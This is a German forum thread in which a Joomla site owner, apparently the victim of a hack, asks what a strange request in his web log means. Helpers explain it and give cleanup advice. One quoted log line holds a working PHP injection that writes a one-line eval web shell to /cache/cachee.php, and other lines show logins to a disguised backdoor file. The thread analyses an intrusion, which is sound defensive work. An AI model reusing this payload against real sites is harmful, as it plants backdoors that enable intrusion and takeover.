gehackt: was bedeutet "GET //?1=@ini_set(%22display_errors" im web.log?"

    Hallo,
    leider wurde unsere joomla Seite letztens gehackt, zum Glück hatten wir DB- und Dateibackups, so dass der Vorzustand wieder hergestellt ist.
    Um ein erneutes Hacken zu verhindern, suche ich jetzt den Weg, den der Einbrecher gegangen ist, dabei sind mir die Zeilen unten aufgefallen.
    Kann mir jemand sagen, was dieser Aufruf "GET //?1=@ini_set(%22display_errors" im web.log? bedeutet und wie man so etwas verhindern kann?
    (Vermutlich per .htaccess, aber was macht dieser Aufruf?)
    Die Templatepositionen /?tp habe ich bereits deaktiviert und bin jetzt dabei weitere Tipps von joomla-security umzusetzen.
    Ja, der Zugriff auf /administrator ist inzwischen auch per .htaccess blockiert.


    Weitere nette log-Zeilen:


    Vielen Dank
    Uwe
    joomla 3.6.5

  • Zum hilfreichsten Beitrag springen

    Erfolgreicher Zugriff auf diese beiden Dateien (könnte eine Shell sein):


    /cache/cachee.php
    /modules/mod_articles_tags/mod_articles_tags.php


    Wobei beide nicht zum Joomla-Core gehören. Falls diese Dateien auch im Backup zu finden sind, ist das Backup wertlos. Es werden mit sehr hoher Wahrscheinlichkeit nicht die einzigen Schaddateien sein.

    Zitat von HinzBerlin

    Hallo,
    ...zum Glück hatten wir DB- und Dateibackups, so dass der Vorzustand wieder hergestellt ist. ...


    Also erst alles Rücksichern und dann untersuchen? Damit zerstörst Du Dir einige der wichtigsten Untersuchungsgegenstände: Die Dateien im Webspace.
    Ohne ausführliche Analyse wird es nicht möglich sein den Zeitpunkt des Erst-Hacks festzustellen, damit man überhaupt prüfen kann ob das Backup zeitlich passt.
    Es gibt doch mittlerweile massenweise Anleitungen, wenn man nur nach "Joomla gehackt" sucht.

    Zitat

    Also erst alles Rücksichern und dann untersuchen?


    Nö, zuerst alles kompett heruntergeladen (einschl. DB) und dann das Backup zurückgespielt.
    Zu meiner Frage (Danke für Eure Antworten)
    Ich meine eigentlich was dieser GET Befehl GET //?1=@ an sich bedeutet. Normalerweise steht hier doch die URL drin. Will er damit den Apache überlisten? Hat ja offensichtlich geklappt.
    Das Modul "mod_articles_tags" hat der Kollege selbst installiert, wir benutzen das nicht und im Backup ist es auch nicht drin.
    Der Hack ist ganz schön im web.log zu sehen:


    Edit by @Indigo66: Langen Code in Spoiler. Forenregeln bechten!

    • Hilfreich
    Zitat von HinzBerlin

    62.210.88.198 - - [03/Jan/2017:23:22:59 +0100] "GET //?1=@ini_set(%22display_errors%22,%220%22);@set_time_limit(0);@set_magic_quotes_runtime(0);echo '-%3E%7C';file_put_contents(dirname($_SERVER%5B'SCRIPT_FILENAME'%5D).'/cache/cachee.php','%3C?php eval($_POST%5B1%5D);?%3E');echo '%7C%3C-'; HTTP/1.1" 200 39823 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"


    Lädt via Datei »cachee.php« weitere Dateien nach, in diesem Fall vermutlich u.a. eine Benutzerverwaltung, die über die neu hinzugefügte, getarnte Datei »mod_articles_tags.php« läuft.


    Zitat von HinzBerlin

    35.166.247.183 - - [03/Jan/2017:18:53:42 +0100] "POST /admin/Cms_Wysiwyg/directive/index/ HTTP/1.1" 404 1572 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"


    Versuch, eine Schwachstelle in einem anderen CMS auszunutzen.


    Zitat von HinzBerlin

    107.151.137.246 - - [07/Jan/2017:02:59:38 +0100] "POST /modules/mod_articles_tags/mod_articles_tags.php?login=uxgax HTTP/1.1" 200 16 "http://www.xxxx.de/modules/mod_articles_tags/mod_articles_tags.php?login=uxgax" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537 (KHTML, like Gecko)"
    192.200.212.204 - - [07/Jan/2017:03:58:50 +0100] "POST /modules/mod_articles_tags/mod_articles_tags.php?login=uxgax HTTP/1.1" 200 12 "-" "-"


    Anmeldungen in der »neuen« Benutzerverwaltung.


    Zitat von HinzBerlin

    Der
    Hack ist ganz schön im web.log zu sehen:


    Das ist nur ein Teil. Offensichtlich werden jetzt weitere Dateien per »cachee.php« nachgeladen, und, wie von @flotte bereits angemerkt, automatisiert weitere Schwachstellen gesucht. Die Frage ist aber, wie und wann die Datei »cachee.php« in deinen Webspace gekommen ist.

    Hallo Leute,
    Danke für Eure Beiträge.
    Mein Versuch, die Website neu aufzusetzen mit frischen joomla und Plugin Dateien war leider nicht erfolgreich, ich hatte das Template mit Overrides, u.a. mit einem veralteten visforms, und die Datenbank übernommen. Wahrscheinlich war das Hintertürchen noch drin, nach einigen Tagen kam eine freundliche Email von google: "Hacked content detected".
    Weil mir jetzt die Zeit davonläuft spiele ich eine alte, pre-joomla, Version der Website ein.
    Auf der sicheren Seite ist man nur, wenn man auch alle Overrides neu erstellt und den Webseiteninhalt in einer neuen DB neu anlegt, vermute ich?! Was für eine Arbeit!!
    Können diese Gangster Ihre Energie nicht in etwas für die Menschheit sinnvolles investieren? Brech!
    Gruß
    Uwe

    Zitat von HinzBerlin

    Auf der sicheren Seite ist man nur, wenn man auch alle Overrides neu erstellt und den Webseiteninhalt in einer neuen DB neu anlegt, vermute ich?!


    Das ist nicht ausreichend, da zusätzliche Hack-Dateien ÜBERALL rumliegen können, in Bilderordnern etc., Nachbar-Domains, vergessenen Installationen von 1876 usw.. Ein Profi prüft auf hinzugefügte Dateien, Dateiunterschiede des gesamten Systems im Vrgl. zu "garantiert sauberen", usw. Und am Ende öffnet er jede Datei, die dabei ungeklärt bleibt.


    Dann natürlich (zuvor) sämtliche Zugänge (FTP, DB, Provider usw.), abhärten. Webspace entmüllen usw.


    Während dieser Zeit bleibt alles gesperrt und/oder die Prüf-Aktion läuft auf anderem System ab.
    Keine Sekunde bleibt während der Zeit das gehackte System offen.


    Mit den Log-Dateien, die ja sowieso in den meisten Fällen nicht ausreichend zurückliegend vorliegen, um damit alles zu finden, fange ich (machen andere anders) erst dann an, wenn ich alle Daten, Schadcodes, Schaddateien notiert habe, um noch mal abzusichern.


    und so weiter ;)